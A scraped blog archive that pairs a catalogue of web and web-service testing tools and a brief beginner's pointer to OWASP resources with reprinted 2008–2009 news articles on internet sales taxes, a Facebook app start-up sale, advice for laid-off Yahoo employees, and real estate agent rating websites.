soapUI - A free, open source desktop application from Eviware Software AB for inspecting, invoking, developing, simulating/mocking and functional/load/compliance testing of web services over HTTP. It is mainly aimed at developers/testers providing and/or consuming web services (java, .net, etc). Functional and Load-Testing can be done both interactively in soapUI or within an automated build/integration process using the soapUI command-line tools. Mock Web Services can be created for any WSDL and hosted from within soapUI or using the command-line MockService runner. IDE-plugins available for eclipse, IntelliJ IDEA, NetBeans and a specialized eclipse-plugin for JBossWS. Paid 'pro' version available with professional support and extended functionality.

SOAPscope Server - Web services test tool from Mindreef Inc./Progress Software; create test scenarios automatically by recording actions; share these with other testers in collaborative server-baaed UI. View WSDL and SOAP messages in Pseudocode ViewTM. Create complex tests including passing values from a response to subsequent requests, perform batch testing and validate results all without coding. Simulate web services that don't yet exist, or new scenarios for those that do.

LISA for Web Services/SOAP - Web services/SOAP test tool from iTKO, Inc. No-code SOAP/XML testing and WSDL exploration and test maintenance; supports active sessions, SSL, authentication and magic strings. Runs on any client and supports Java and .NET and any other SOAP-compliant web services.

Parasoft SOAtest - Scriptless web services test tool from Parasoft. Automatic test creation from WSDL, WSIL, UDDI and HTTP Traffic. Capabilities include WSDL validation, load and performance testing; graphically model and test complex scenarios. Automatically creates security penetration tests for SQL injections, XPath injections, parameter fuzzing, XML bombs, and external entities. Data-driven testing through data sources such as Excel, CSV, DB queries, etc. Support for JMS; MIME attachment support.

QEngine - ManageEngine QEngine Web Service Functional Test tool automates functional testing of web services that are bound with the SOAP/HTTP binding. Automatically generates test scripts from a WSDL document and validates every operation published in the WSDL document. The responses to each SOAP/HTTP request can be validated against the data sources such as CSV or Database.

Fault Factory - API-level fault injection tool from from Extradata Technologies; injects HTTP/SOAP/Socket faults into an application - no code changes, no proxies required. Injects two types of faults: socket API failures and arbitrary HTTP responses (that can be used to imitate a wide range of conditions, including SOAP faults). Can be used standalone or in combination with a debugger. Language-neutral. For Windows platforms.

XML-Simulator - Black-box test tool from Elvior for applications using asynchronous XML messaging to communicate with different systems. Customizable to support any XML protocol.

Tools4Internet - Free on-the-web tools for determination/testing of various web page/site characteristics; results presented in convenient tabbed summary format. Includes browser/server security information tool for viewing details of http headers sent from web server and browser, along with other information obtainable via javascript and other publicly available means. Web Content Analysis capability includes response time, web page code comments lines, anchors, scripts, etc.

Firebug - Open source add-on tool for Firefox - allows editing, debugging, and monitoring of CSS, HTML, and JavaScript live in any web page. Monitor network activity, visualize CSS metrics, information about errors in JavaScript, CSS, and XML. Includes DOM explorer; execute JavaScript on the fly.

GH Tester - Middleware test automation tool, from Green Hat Consulting Limited, for testing systems that do not have graphical user interfaces including web services, JMS, IBM MQ, Sonic MQ, TIBCO, TCP/IP, UDP/IP and SmartSockets. Includes an API enabling writing of your own transports. Schema-aware message editors for XML (DTD and XSD), SOAP (WSDL) and AE. Other capabilities: automatically create test plan documentation, record and playback messages, integrate with databases to simulate adapters by querying or changing rows, produce detailed reports on actual test results and expectations, including any differences

Filemon - Free tool from Microsoft monitors and displays Windows file system activity on a system in real-time. Timestamping feature shows when every open, read, write or delete, happens, and its status column indicates outcome. Useful in security testing, monitoring/testing of web servers etc. Also available (links available on Filemon page): RegMon - a Registry monitor; Process Monitor - a process and thread monitor; DiskMon - a hard disk monitor.

AceLive - Tool from OpNet Technologies Inc. for end-user experience monitoring and application performance management. Spans network monitoring, measurement, and detection of SLA violations, and can bridges seamlessly into integrated and detailed transaction-level troubleshooting with OPNET’s ACE Analyst.

Charles - An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.

Paessler Site Inspector - A web browser that combines MSIE and Mozilla/Gecko into one program; it's Analyzing Browser allows switching between the two browser engines with the click of a mouse to compare. Freeware.

CookiePie Firefox Extension - Firefox extension from Sebastian Wain enabling maintenance of different cookies in different tabs and windows. For example developers working on web software supporting multiple users or profiles can use CookiePie to simultaneusly test their software with each user without needing to open a different browser.

Broken Link Preventer - Link checker that reports on broken links, reports statistics on user attempts to access broken links, and enables broken link prevention. Runs on server and constantly monitors site links.

JsUnit - An open-source unit testing framework for client-side (in-browser) JavaScript in the tradition of the XUnit frameworks

WebPerformance Analyzer - Web development analysis tool from WebPerformance Inc. enables measurement, analysis, and tracking of web page performance during the design and development process. Capture/record complex web pages while browsing, viewing response times and sizes for all web pages and their contents. Examine request and response headers, cookies, errors and content; view pages in an integrated browser. SSL support; playback capabilities; low bandwidth simulation; specify performance requirements for flagging of slow pages. Standalone or Eclipse plugin versions

Eclipse TPTP Testing Tools Project - TPTP (Test & Performance Tools Platform) is a subproject of Eclipse, an open platform for tool integration. TPTP provides frameworks for building testing tools by extending the TPTP Platform. The framework contains testing editors, deployment and execution of tests, execution environments and associated execution history analysis and reporting. The project also includes exemplary tools for JUnit based component testing tool, Web application performance testing tool, and a manual testing tool. The project supports the OMG UML2 Test Profile.

Test Architect - Keyword-driven test automation tool from LogiGear helps increase test coverage. Built-in playback support for web-based application and other platforms.

Networking and Server Test Utilities - Small collection of web server and other test utilities provided by hq42.net.

Morae - Usability test tool for web sites and software, from TechSmith Corp. for automated recording, analyzing and sharing of usability data. Consists of 3 components. A Recorder records and synchronizes video and data, creating a digital record of system activity and user interaction. A Remote Viewer enables geographically dispersed observers to watch usability tests from any location; it displays test user's computer screen along with a picture-in-picture window displaying the test participant's face and audio; Remote Viewer observers can set markers and add text notes. The Manager component includes integrated editing functionality for assembly of important video clips to share with stakeholders.

AutoTestFlash - Freeware tool by Tiago Simoes for recording and playing back UI Tests in flash applications. Source code also available.

Repro - Manual testing 'helper' tool that records desktop video, system operations in 7 different categories, system resource usage, and system configuration information. Allows user to save and review relevant information for bug reports, and compress the result into a very small file to replay, upload to a bug tracking system, and share with others. Instruments in memory the target application at runtime so no changes are required to application under test. For Windows.

TestGen - Free open-source web test data generation program that allows developers to quickly generate test data for their web-services before publicly or internally releasing the web service for production.

EngineViewer and SiteTimer - Free basic services: EngineViewer - reports on how a search engine may view a webpage, from how it breaks down the HTML, to which links it extracts, how it interprets page's robot exclusion rules and more. SiteTimer service - Find out how long it takes various connection types to get a page, check all the graphical links to ensure they're correct, examine server's HTTP headers, more.

Fiddler - An HTTP Debugging tool by Eric Lawrence. Acts as an HTTP Proxy running on port 8888 of local PC. Any application which accepts an HTTP Proxy can be configured to run through Fiddler. Logs all HTTP traffic between between computer and the Internet, and allows inspection of the HTTP data, set breakpoints, and "fiddle" with incoming or outgoing data. Designed to be much simpler than using NetMon or Achilles, and includes a simple but powerful JScript.NET event-based scripting subsystem. Free, for Windows.

FREEping - Free ping software utility from Tools4ever which will ping all your Windows-based servers (or any other IP address) in freely-definable intervals. Will send a popup when one of the servers stops responding.

IP Traffic Test and Measure - Network traffic simulation and test tool from Omnicor Corp. can generate TCP/UDP connections using different IP addresses; data creation or capture and replay; manage and monitor throughput, loss, and delay.

VisitorVille - Site traffic monitoring tool from World Market Watch Inc. that depicts website visitors as animated characters in a virtual village; users can watch their web traffic as if they're watching a movie.

Sandra - 'System ANalyser, Diagnostic and Reporting Assistant' utility from SiSoftware. Provides large variety of information about a Windows system's hardware and software. Includes CPU, mainboard, drives, ports, processes, modules, services, device drivers, ODBC sources, memory details, environment settings, system file listings, and much more. Provides performance enhancing tips, tune-up wizard, file system and memory bandwidth benchmarking, more. Reporting via save/print/fax/email in text, html, XML, etc. Free, Professional, and other versions available in multiple languages.

Deque - Deque Ramp is a cross-platform solution for testing and remediating websites and Web-based applications for integrated accessibility and Section 508 compliance. Audits and corrects accessibility violations and helps organizations develop long-term practices to enhance accessibility for users with disabilities. Available versions include Ramp Personal Edition, Ramp Grade, and Ramp Ascend. Ramp PE version is free for some user categories such as non-profit organizations. Other products include Worldspace Online, an online accessibility test and repair tool.

Browser Cam - Service from Gomez Inc. for web developers and testers; it creates screen captures of web pages loaded in any browser, any version, any operating system. Allows viewing of web page appearance on Windows, Linux, Macintosh, in most versions of every browser ever released.

Dummynet - Flexible tool developed by Luigi Rizzo, originally designed for testing networking protocols, can be used in testing to simulate queue and bandwidth limitations, delays, packet losses, and multipath effects. Can be used on user's workstations, or on FreeBSD machines acting as routers or bridges.

HTTP Interceptor - A real-time HTTP protocol analysis and troubleshooting tool from AllHTTP.com. View all headers and data that travel between your browser and the server. Split-screen display and dual logs for request and response data. Interceptor also allows changing of select request headers on-the-fly, such as "Referrer" and "User Agent".

SpySmith - Simple but powerful diagnostic tool from Quality Forge; especially useful when testing web sites and web-based applications. It allows the user to peek inside I.E. Browser-based Documents (including those without a 'view source' command) to extract precise information about the DOM elements in an HTML source. SpySmith can also spy on Windows objects. For Windows. Free 90-day trial.

Co-Advisor - Tool from The Measurement Factory for testing quality of protocol implementations. Co-Advisor can test for protocol compatibility, compliance, robustness, security, and other quality factors. Has modules for HTTP (RFC 2616) and ICAP (RFC 3507) protocols . Other info: runs on FreeBSD packages, Linux RPMs, Windows (on-demand); available as on-line service, binaries, or source code.

PocketSOAP - Packet-capture tool by Simon Fell, with GUI; captures and displays packet data between local client and specified web server. Can log captures to disk. For Windows; binaries and source available; freeware. Also available is PocketXML-RPC and PocketHTTP.

TcpTrace - Tool by Simon Fell acts as a relay between client and server for monitoring packet data. Works with all text-based IP protocols. For windows; freeware

ProxyTrace - Tool by Simon Fell acts as a proxy server to allow tracing of HTTP data; can be used by setting browser to use it as a proxy server and then can monitor all traffic to and from browser. Freeware.

tcptrace - Tool written by Shawn Ostermann for analysis of TCP dumpfiles, such as those produced by tcpdump, snoop, etherpeek, HP Net Metrix, or WinDump. Can produce various types of output with info on each connection seen such as elapsed time, bytes, and segments sent and received, retransmissions, round trip times, window advertisements, throughput, and various graphs. Available for various UNIX flavors, for Windows, and as source code; freeware.

MITS.Comm - Tool from Omsphere LLC for simulating virtually any software interface (internal or external). Allows testing without pitfalls associated with live connections to other systems (TCP/IP, Ethernet, FTP, etc). Allows developers to test down to the unit level by simulating the internal software interfaces (message queues, mailboxes, etc.) Tool can learn what request/response scenarios are being tested for future tests and can work with any protocol, any message definitions, and any network. Also available: MITS.GUI

XML Conformance Test Suite - XML conformance test suites from W3C and NIST; contains over 2000 test files and an associated test report (also in XML). The test report contains background information on conformance testing for XML as well as test descriptions for each of the test files. This is a set of metrics for determining conformance to the listed W3C XML Recommendation.

Certify - Test automation management tool from WorkSoft, Inc. For managing and developing test cases and scripts, and generating test scripts. For automated testing of Web, client/server, and mainframe applications. Runs on Windows platforms.

HiSoftware AccVerify - Tool for testing site accessibility, usability, searchability, privacy and Intellectual Property policy verification; from HiSoftware Inc. Also custom checks and test suites to meet organization's standards. Can crawl a site and report errors; can also programmatically fix most common errors found. Runs on Windows.

HiSoftware Web Site Monitor - Tool allows user to monitor servers and send alerts, allows monitoring web sites for changes or misuse of intellectual property in metadata or in the presented document; link validation. From HiSoftware Inc.

Web Optimizer - Web page optimizing tool from Visionary Technologies intelligently compresses web pages to accelerate web sites without changing site's appearance. Removes unnecessary information in HTML, XML, XHTML, CSS, and Javascript and includes GIF and JPEG optimizer techniques.

HTML2TXT - Conversion utility that converts HTML as rendered in MS Internet Explorer into ASCII text while accurately preserving the layout of the text. Included with software are examples of using the control from within Visual Basic, Visual C++, and HTML.

Team Remote Debugger - Debugging tool from Spline Technologies allows tracing of any number of code units of any kind ( ASP, MTS, T-SQL, COM+, ActiveX Exe, DLL, COM, Thread, CFML ), written in any language ( ASP, VB, VC++, Delphi, T-SQL, VJ, CFML ) residing on multiple shared and dedicated servers at the same time, without ever attaching to process. Remote code can pass messages and dialogs directly to your local machine via Team Remote Debugger component, and developers can then debug their respective code independently of one another no matter if the code units reside on the same servers or on different servers or on any combination thereof.

Datatect - Test data generator from Banner Software generates data to a flat file or ODBC-compliant database; includes capabilities such as scripting support that allows user to write VBScripts that modify data to create XML output, data generation interface to Segue SilkTest, capability to read in existing database table structures to aid in data generation, wide variety of data types and capabilities for custom data types. For Windows.

Triometric Performance Analyzer Suite - Suite of software protocol analyzers from Triometric accurately calculates end-to-end download speeds for each transaction, not just samples; produces a range of configurable reports that breaks down info into network and server speeds, errors, comparison to SLA's, performance for each server, client, URL, time period, etc.

WebBug - Debugging tool from Aman Software for monitoring HTTP protocol sends and receives; handles HTTP 0.9/1.0/1.1; allows for entry of custom headers. Freeware.

WebMetrics - Web usability testing and evaluation tool suite from U.S. Govt. NIST. Source code available. For UNIX, Windows.

MRTG - Multi Router Traffic Grapher - free tool by Tobi Oetiker utilizing SNMP to monitoring traffic loads on network links; generates reports as web pages with GIF graphics on inbound and outbound traffic. For UNIX, Windows.

Return to top of web tools listing

'IT' 카테고리의 다른 글

IBM Eyes The iPad  (0) 2010.02.19
PayPal to become a way to pay for Facebook ads  (0) 2010.02.19
Google And The iPad  (0) 2010.01.29
Apple iPad Gripes And Groans  (0) 2010.01.29
On the Call: AT&T on the economics of the iPad  (0) 2010.01.29
Posted by CEOinIRVINE
l

How to be penetration tester? (Computer Security Specialist?)

Hacking 2009. 2. 8. 16:01

I have decided to keep my originality about all postings here. Internet is such a nice place to find information and share knowledge. I completely agree with that. However, sometimes I feel so bad that I don't write anything about my postings when I just copied and pasted somebody's useful information/postings.

At this posting, I would like to cover how to start as web penetration tester and how to be recognized by other professionals in same field.

First of all, I recommend you to visit OWASP web page.
(the free and open application security community)


http://www.owasp.org/index.php/Main_Page


And then, please visit following website for getting security basic information.

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

Just download that project and unzip it.
You can find a lot of cheat sheets over there.
Those are very useful information for starter/beginner/wanna be security-professional.


After that, I would be SED/AWK guru who can analyze logs shortly.
That's the best way for you to get recognition from others.
They will respect you after noticing your fantastic analyzing and solving issues skills.


counterhacker@gmail.com

'Hacking' 카테고리의 다른 글

Technical Server Problem in Soldier Front By Mitch1490  (0) 2009.02.10
SF Hacking (Purple Folder)  (1) 2009.02.10
XSS Cheat Sheet  (0) 2009.02.06
CIS benchmarks  (0) 2009.02.06
Below is a list of resources you've selected:  (0) 2009.02.06
Posted by CEOinIRVINE
l

CIS benchmarks

Hacking 2009. 2. 6. 09:19

CIS.alz
CIS.a00
CIS.a01
CIS.a02
CIS.a03
CIS.a04
CIS.a05
CIS.a06
CIS.a07
CIS.a08
CIS.a09
CIS.a10
CIS.a11

'Hacking' 카테고리의 다른 글

How to be penetration tester? (Computer Security Specialist?)  (0) 2009.02.08
XSS Cheat Sheet  (0) 2009.02.06
Below is a list of resources you've selected:  (0) 2009.02.06
Security Metrics  (0) 2009.02.06
CIS BenchMark  (0) 2009.02.06
Posted by CEOinIRVINE
l

Buying on Web to avoid sales taxes could end soon

Business 2009. 1. 14. 04:32

Shopping online can be a way to find bargains while steering clear of crowds - and sales taxes.

But those tax breaks are starting to erode. With the recession pummeling states' budgets, their governments increasingly want to fill the gaps by collecting taxes on Internet sales, which are growing even as the economy shudders.

And that is sparking conflict with companies that do business online only and have enjoyed being able to offer sales-tax free shopping.

One of the most aggressive states, New York, got sued by Amazon.com Inc. over a new requirement that online companies must collect taxes on shipments to New York residents, even if the companies are located elsewhere. New York's governor also wants to tax "Taxman" covers and other songs downloaded from Internet services like iTunes.

The amount of money at stake nationwide is unclear; online sales were expected to make up about 8 percent of all retail sales in 2008 and total $204 billion, according to Forrester Research. This is up from $175 billion in 2007.

Based on that 2008 figure, Forrester analyst Sucharita Mulpuru says her rough estimate is that if Web retailers had to collect taxes on all sales to consumers, it could generate $3 billion in new revenue for governments.

It's uncertain how much more could come as well from unpaid sales taxes on Internet transactions between businesses. But even with both kinds of taxes available, state budgets would need more help. The Center on Budget and Policy Priorities estimates that the states' budget gaps in the current fiscal year will total $89 billion.

Collecting online sales taxes is not as simple as it might sound. A nationwide Internet business faces thousands of tax-collecting jurisdictions - states, counties and cities - and tangled rules about how various products are taxed.

And a 1992 U.S. Supreme Court ruling said that states can't force businesses to collect sales taxes unless the businesses have operations in that state. The court also said Congress could lift the ban, which remains in place - for now.

As a result, generally only businesses with a "physical presence" in a state - such as a store or office building - collect sales tax on products sent to buyers in the same state. For instance, a Californian buying something from Barnes & Noble Inc.'s Web site pays sales tax because the bookseller has stores in the Golden State. Buying the same thing directly from Amazon would not ring up sales tax.

That doesn't mean products purchased online from out-of-state companies are necessarily tax-free. Consumers are usually supposed to self-report taxes on these items. This is called a use tax, but not surprisingly, it tends to go unreported.

In hopes of unraveling the complex tax rules - and bringing states more money - 22 states and many brick-and-mortar retailers support the efforts of a group called the Streamlined Sales Tax Governing Board. The group is getting states to simplify and make uniform their numerous tax rates and rules, in exchange for a crack at taxing online sales.

Among other things, participating states need to change how they define things such as "food" and "clothing." For example, one state might now consider a T-shirt clothing and tax it as such, while another might consider it a sporting good and tax it differently.

In response, more than 1,100 retailers have registered with the streamlining group and are collecting sales taxes on items shipped to states that are part of the agreement - even if they are not legally obligated to.

The streamlining board also is lobbying Congress to let the participating states do what the Supreme Court ruling banned: They could force businesses to collect taxes on sales made to in-state customers, even if the businesses don't have a physical presence there.

New Jersey, Michigan and North Carolina are among the largest of the 19 states that have adjusted their tax laws to fully comply with the group's streamlined setup. Washington was the only state to join in 2008, but three more states are close to becoming full members of the group. And Scott Peterson, the group's executive director, expects another seven states - including Texas, Florida and Illinois - to introduce legislation in January that would make them eligible to join.

Undoing the patchwork can be difficult, even if the weak economy increases states' motivation to go after online sales taxes. Similar bills have been introduced in several states and failed, sometimes because of the cost of changing tax laws. New York, for example, decided against joining the streamlining board because it would require extensive revisions to its tax rules.

Besides various states and retailers such as Wal-Mart Stores Inc., Borders Group Inc. and J.C. Penney Co., the National Retail Federation, the industry's biggest trade group, also supports the Streamlined Sales Tax group.

Companies that handle Web sales only have organized as well. NetChoice, whose members include eBay Inc. and online discount retailer Overstock.com Inc., supports the states' tax simplification efforts, but its executive director, Steve DelBianco, says online retailers should have to collect taxes only in states where they have a physical presence.

But what if the meaning of "physical presence" is changed? New York essentially did that in April when its budget included a provision requiring online retailers like Amazon to collect taxes on purchases made by New Yorkers.

The new rule requires retailers to collect sales tax if they solicit business in New York by paying anyone within the state for leading customers to them. Since some Web site operators within New York are compensated for posting ads that link to sites like Amazon, the online retailers would have to collect taxes.

Matt Anderson, spokesman for the New York State Division of the Budget, said the state expects to reap $23 million during the current fiscal year, which ends March 31, from newly collected online sales taxes.

That's a sliver of the overall state budget for the same period, which is $119.7 billion. The state faces a revenue gap of $1.7 billion.

Yet Anderson said the state wants "to level the playing field and end the "unfair competitive advantage" Web-only companies have over brick-and-mortar stores that can't avoid collecting sales taxes.

Amazon complies, and collects sales taxes on shipments to New York. It tried fighting the constitutionality of the rule by suing the state in April, but this week a judge rejected the claim.

Salt Lake City-based Overstock also lost a lawsuit against New York over the law, though it plans to appeal. Unlike Amazon, Overstock is not collecting sales tax in New York, because it ended agreements with about 3,400 affiliates in the state that were being paid for directing traffic to Overstock.com.

The Streamlined Sales Tax group hopes Congress takes up its uniform-tax idea in 2009. Peterson thinks the dismal economy boosts the chances of passage.

But Congress also will be occupied with economic stimulus plans involving bigger pools of money. And Mulpuru, the Forrester Research analyst, notes that for years there has been talk of taxing online retailers.

"It's a legal morass," she said. "In a best-case scenario, it's going to take a while to sort everything out."

'Business' 카테고리의 다른 글

The American Dream Is Still Strong  (0) 2009.01.29
Apple CEO Jobs backtracks on health, takes leave  (0) 2009.01.15
Top Cash-Back Car Deals  (0) 2009.01.11
Is The Rising Popularity Of The iPod Touch Cutting Into iPhone Sales?  (0) 2009.01.11
How To Market To The Modern Mom  (0) 2009.01.09
Posted by CEOinIRVINE
l

Web 2.0 entrepreneur cashes out just in time

Business 2008. 12. 12. 08:51
Suleman Ali sold Esgut, his portfolio of Facebook applications, for seven figures in April.

Suleman Ali sold Esgut, his portfolio of Facebook applications, for seven figures in April.

The 26-year-old, a former Microsoft employee who helped put together the Windows Home Server product, founded a company called Esgut within months of the debut of Facebook's developer platform in May 2007. Esgut is a portfolio of Facebook applications, and a few of them, like Superlatives and Entourage, became genuine viral hits.

In April, Ali sold the 12-employee Esgut to the Social Gaming Network, a Silicon Valley company backed by the likes of Bezos Expeditions, the Founders Fund, and Greylock Partners. He said the price was in the seven figures.

But Ali is the first to acknowledge that for upstart social-platform developers, hailed just months ago as the Valley's hottest breed of bright young things, the condition has taken a significant turn for the worse.

"Most people are not counting on anything," the lanky and bespectacled Ali said over lunch at an organic restaurant near New York's Union Square in early December. "They're just operating from day to day."

When Facebook's developer platform launched, the social network's traffic began to really skyrocket. What had started as a no-frills networking site for students at elite universities became a Silicon Valley buzz factory with legitimate geek credentials. And however gimmicky many of the most popular Facebook Platform apps were, millions of people decided they now had a reason to join the site. The floodgates had opened. Facebook was a phenomenon.

Don't Miss

When other social networks such as MySpace, Friendster, and Hi5 also paraded out developer platforms, the tech world took it as evidence that there was a big future in building platform applications. More importantly for developers and ambitious tech entrepreneurs, it looked like there could be gobs of money in it; the open, anyone-can-play attitude created the notion that there was enough for everyone.

"The social platform (on Facebook) actually launched the last day that I was at Microsoft...I was quitting without any idea of what I was going to do," Ali recalled. His aims for leaving Redmond were starry-eyed. "I left because I wanted to do a start-up. I wanted to see what I could do out there on my own. And I wanted to care deeply about what I was working on."

But he had no concrete plans to go the Facebook route initially, he said. "I ended up in my parents' house in Florida and was kind of bored, and started building Facebook apps just out of restlessness and the desire to do something."

Then, Ali continued, he went to the Graphing Social Patterns West conference in San Diego in March and met Social Gaming Network founder Shervin Pishevar. At the time, he was looking to raise venture funding but hadn't thought about selling his apps. "We talked for 30 minutes and he was like, 'You sound like the exact type of people we want at SGN.'"

Ali sold Esgut to Pishevar's company the next month.

Widgets buzz turns into hush

Ali got lucky. Even before the reality of the recession set in, the social-platform craze was subsiding. The venture capital buzz about widgets began to quiet over the summer. Some of the sillier novelty apps wore off in popularity. Companies that were snapping up small apps and raising huge amounts of venture capital, like Slide and RockYou, grew intimidatingly bigger--but the glut of independent apps made it more difficult to grab the attention of potential buyers.

And after new restrictions, a redesign, and then the social network's focus on expanding through its Facebook Connect log-in service, it became evident that a social-network platform is still a new phenomenon that can change dramatically, and not always to the benefit of little start-ups.

"There's definitely a lot of tightening up," Ali said. "There's a few people that I know that have apps that are relatively small, and they're selling them for valuations lower than what they could've sold them for a month ago, and there are just no buyers in the marketplace. I think they're going to have a hard time selling, period--forget trying to sell at a lower valuation. They're just having a hard time getting rid of them."

So would he still be able to sell his company as easily now? "No, probably not," Ali admitted. "If we were the same company we were then, it would be much harder to sell today. I think we would've had to evolve as a company. I think we would need to be generating more revenue than we were."

But for all his concern about the fate of social-platform developers in a recession, Ali is still strikingly bullish on Facebook--enough so that his newest project is a fund for Facebook stock. He started purchasing it in November, he said, and is meeting with investors in the hopes of purchasing more. He added with surprising gusto that Facebook's decision to delay direct cash-outs hasn't derailed his plan.

"I think that's actually good news for us," Ali said. "I think that means that the price that we pay will actually go down because there are all these employees who intended to sell stock back to Facebook, and now they're not going to be able to sell it to Facebook, (so) they'll have to sell it somewhere else."

He hopes to keep the stock until Facebook files for an initial public offering, and he still thinks that's on track, too. "I think it's going to be a function of the economy and when the markets open back up for an IPO," he said, and cited target dates that had been provided in interviews by Facebook investor and board member Jim Breyer. "From a Facebook perspective, I think it'll be ready to IPO in 2011."

Many critics would say that's wishful thinking, and that the company will sell--to existing investor Microsoft, maybe--for much lower than its $15 billion preferred-stock valuation.

But Ali got lucky on Facebook once already, and even in a recession he hasn't given up hope that it could happen again.

'Business' 카테고리의 다른 글

The Bangalore Backlash: Call Centers Return to U.S.  (0) 2008.12.12
Senate Leaders Try to Work Out Compromise on Auto Bill  (0) 2008.12.12
Diamond sells for recession-busting $24.3 M  (0) 2008.12.12
Bank of America may shed 35,000 jobs  (0) 2008.12.12
World's most valuable resource, a curse for most Nigerians  (0) 2008.12.12
Posted by CEOinIRVINE
l

Advice For Yahoo!s, From Yahoo!s

Business 2008. 12. 11. 11:37
Advice For Yahoo!s, From Yahoo!s

There are two Yahoo!s in Silicon Valley.

There's the struggling Web portal. It's known for being bureaucratic, timid and indecisive. It laid off 1,500 employees Wednesday as it conducts a public--and very awkward--search for a new chief executive. This Yahoo!'s (nasdaq: YHOO - news - people ) shares are down more than 40% this year.

Are you a former Yahoo! employee with advice for recently laid off colleagues? Share your advice in the Reader Comments section, or send your thoughts to bcaulfield@forbes.net.

Then there's the other Yahoo! It's the network of former Yahoo! employees, or Yahoo!s, who have gone on to lead Web efforts at big companies such Microsoft (nasdaq: MSFT - news - people ). Others are using their Yahoo!-honed Web smarts to good use working as venture capitalists.

Then there are the scores of former Yahoo!s running fast-moving start-ups around Silicon Valley. Here are excerpts from interviews with former Yahoo!s with advice for those who have just left the company, or anyone pondering their next career move. [See "Meta Data: Jerry's Good-bye Note."]

On finding the right job: I would tell people what I have told dozens or hundreds of Yahoo! people I have talked to about leaving. You've got to think back on what you really do the best and love doing the most. Now [balance] that with the question: How will this particular opportunity you're interested in make money? I really do think it's a balance. Too many people have done the first and are thrilled about what they're doing, but over the long term it unravels. On the other hand, people who only chase things that could be super lucrative aren't really passionate about what they're doing and later wonder in retrospect if they ever were. --Elizabeth Blair, chief executive officer, Brand.net

On flexibility: Be open. Lift your head out of what you've done and realize it is a very big world out there, the only thing that makes it feel small is when you're not open to new things. If you've only worked at big companies, maybe you should consider small companies.

'Business' 카테고리의 다른 글

U.S. House approves $14-bln auto industry bailout  (0) 2008.12.11
Who Owns Christmas?  (0) 2008.12.11
Facebook's Developer Hug  (0) 2008.12.11
Jobs that make good party conversation  (0) 2008.12.11
Sony launches PlayStation virtual community  (0) 2008.12.11
Posted by CEOinIRVINE
l

Web sites offer real estate agent rankings

Business 2008. 11. 22. 07:53

Word of mouth is one of the most common ways homebuyers and sellers find a real estate agent. Now, there are several Web sites that tout a more scientific approach: ranking agents based on criteria such as years of experience, how many sales they've closed, and the number of positive testimonials from past clients.

On auction sites like eBay.com, user feedback-based rankings can give anonymous buyers and sellers instant credibility. But is it a reliable way to find a real estate professional? Can it trump the referral from your a trusted relative or friend with firsthand experience?

Sites like HomeGain.com, AgentRank.com and IncredibleAgents.com function as repositories of agent profile pages. They make money from ads or, in some cases, by selling the contact information of potential customers who visited the site. Their rating schemes vary widely, and lack of active participation by agents can affect the quality of their results.

AgentRank, for example, launched in March and remains in its beta stage of development. The company brews agent rankings through a complex recipe.

Put simply, it bakes all kinds of variables into an agent's profile -- recent sales history, client reviews, experience, average days homes stay on market, among others -- and assigns them secret values that are then pumped through an algorithm that distills everything down to a rank between one and 10, with 10 being the best.

Visitors can search for agents by ZIP code or city and state, and they receive a list of agents ranked in descending order.

A key component of AgentRank and similar sites is the gathering of testimonials from agents' clients. What better way of ranking agents than by the number of positive reviews from past clients?

The site tells agents they can improve their ranking if they "close deals and make your clients happy."

Currently, agents solicit testimonials from their clients to place on the site. But that will change by next spring, when the site begins accepting unsolicited reviews, says AgentRank.com chief executive Marc Dugger.

A search of agents in Los Angeles on AgentRank turned up only 15, which is a precious few.

Dugger acknowledges the site is a work in progress. It has profiles for up to 5,000 agents spread out nationwide, which can lead to some regions having more than others, he notes.

Ultimately, relying on referrals from friends or relatives doesn't always work out, Dugger insists.

"People are very quick to hire an agent based on a single referral, but the power of these reviews are the fact that you get to see a pattern of success for an agent," Dugger says. "There are some agents that have upward of 15 to 20 reviews on the site, and that, in my opinion, would instill great confidence in that agent."

Another site, IncredibleAgents, beefs up its roster of agent profiles by tapping states' data on licensed real estate agents. As a result, many agent profiles on the site haven't been updated by the agents and offer slim to no details or client reviews.

The site, which launched two years ago, has 25,000 agents who are actively updating their profiles, says owner Damon Pace.

But faced with incomplete search results that turn up many stale profiles, it's hard not to feel like the overall rankings are pretty thin.

The rankings themselves are also somewhat puzzling. The site's current top agent in California, John La Mattery, has a score of 926. The next highest agent has 883.

The scoring is an average of 16 attributes, among these: "Office Logo," "Photo" and "Welcome Message." These seem arbitrary at best, when one considers what makes a good real estate agent.

Pace says the site helps validate agents' success and rewards those who are actively promoting themselves on the site, not just asking clients to submit testimonials.

"In a referral, you don't really have validation," Pace says. "You don't really know if that person is who they say they are, or who that person (that referred them) says they are."

The site lets anyone post a review of an agent on the site, whether it's positive or negative.

San Diego-based La Mattery racked up 70 reviews in the two months since he discovered his information on the site.

A link to the site on his e-mail signature is the only encouragement he gives clients to submit testimonials to the site, he says.

Even with his top gun ranking, La Mattery says he has yet to see any client referrals from the site.

"It's just to me another piece of the puzzle and it takes a lot of different pieces to have a client trust you and rely on your expertise and then actually work with you," he says. "Truly, it's an experiment for me."

Another site whose rankings might not instill great confidence is HomeGain.

Agents are ranked with one to five stars based entirely on consumer feedback. However, agents post the client testimonials of their own choosing, and to get a five-star raking, all they need to do is post five.

It's telling the site warns visitors that "consumer feedback may not reflect the actual quality of service" that they receive from the agents.

Matt Malmgren, senior manager of client services for HomeGain, says the site performs audits of agent profiles to make sure the testimonials are legit. In one example, the company booted an agent last year who elicited several consumer complaints and allegations of fraud. Prior to the agent's expulsion, however, he had a star rating of four or five, Malmgren says.

"It can be misleading," Malmgren says of the feedback ranking system. Still, he stresses, "if you meet an agent on the street, they're only going to give you testimonials they want to give you."

Another entrant into agent ranking is ZipRealty.com, an online real estate brokerage that is taking a slightly different approach.

The company rates its own agents based on responses from clients who are surveyed by an outside vendor. Clients are allowed to post comments and rate agents on a five-star scale. The company says, on average, 75 percent of survey recipients respond.

"We have them rate how we did as a company ... agents' performance," says Pat Lashinsky, ZipRealty's chief executive.

One sign ZipRealty's approach may be on the right track -- Lashinsky says: "Agents are nervous."

'Business' 카테고리의 다른 글

